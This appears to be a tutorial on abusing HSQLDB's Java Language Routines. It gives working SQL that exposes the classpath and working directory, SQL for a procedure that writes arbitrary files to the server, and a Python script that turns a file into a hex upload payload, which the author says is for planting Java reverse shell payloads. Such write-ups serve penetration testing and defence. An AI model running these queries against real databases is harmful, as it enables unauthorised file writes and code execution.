What is HSQLDB?
Hyper SQL Database (HSQLDB) is a relational database management system written in Java - you might occasionally come across it. It’s cross-platform, lightweight, and has a bunch of great features like being able to call static Java methods in the Java Runtime Environment’s (JRE) class path. What’s more to love?
Calling Java Language Routines in HSQLDB
In HSQLDB, Java Language Routines (JRTs) are SQL-Invoked Routines, i.e. functions or procedures, that call methods in the classpath of the JRE. With JRTs, we can define these SQL functions and pass parameters to these methods invocations. JRTs that invoke methods that return values are called functions. JRTs that invoke methods that return void are called procedures.
Reconnaissance
So, I keep mentioning the classpath. What is it? Like PATH
, it’s a path of
JAR
files currently loaded in the JRE of the HSQLDB instance. Like with
pwning Java serialization, we need to know what
gadgets, i.e. static methods, are available for abuse. We can execute the
following query in HSQLDB to create a function that invokes the Java
getProperty
method, which we’ll use to expose the contents of the classpath:
CREATE FUNCTION GetSystemProperty(IN key VARCHAR) RETURNS VARCHAR
LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
And the following query exposes the classpath:
VALUES(GetSystemProperty('java.class.path'))
Another useful query, the following query exposes the the current directory HSQLDB is executing from:
VALUES(GetSystemProperty('user.dir'))
Uploading files
The juicy stuff. We can create a procedure with the following HSQLDB query,
using the JavaUtils.writeBytesToFilename
method to write a bytes object to a
file. This enables us to do great things like upload Java reverse shell
payloads.
CREATE PROCEDURE WriteBytesToFilename(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
The above procedure has two parameters, paramString
which is the filename we
wish to write to, and paramArrayOfByte
which is the byte array of our file
we’re going to upload. How do we use it? An example invocation is provided
below:
CALL WriteBytesToFilename('{DEST}', CAST('{PAYLOAD}' as VARBINARY(1024)))
Where DEST
is where we want to write the file, and PAYLOAD
is the file’s
contents in hex. “How do I get the contents of my file in hex?”, you say. The
following Python script will convert a file specified by filepath
to the
correct format and will generate a payload that uploads the file to the
specified dest
:
from argparse import ArgumentParser
WRITE_BYTES_TO_FILENAME_QUERY = """CALL WriteBytesToFilename('{dest}', CAST('{payload}' as VARBINARY(1024)))"""
class Solution:
def __init__(self, filepath: str, dest: str) -> None:
self.filepath, self.dest = filepath, dest
def solve(self) -> None:
payload = None
with open(self.filepath, "rb") as file:
payload = file.read().hex()
print(WRITE_BYTES_TO_FILENAME_QUERY.format(dest=self.dest, payload=payload))
def main():
parser = ArgumentParser()
parser.add_argument("-f", "--filepath", dest="filepath")
parser.add_argument("-d", "--dest", dest="dest")
args = parser.parse_args()
s = Solution(args.filepath, args.dest)
s.solve()
if __name__ == "__main__":
main()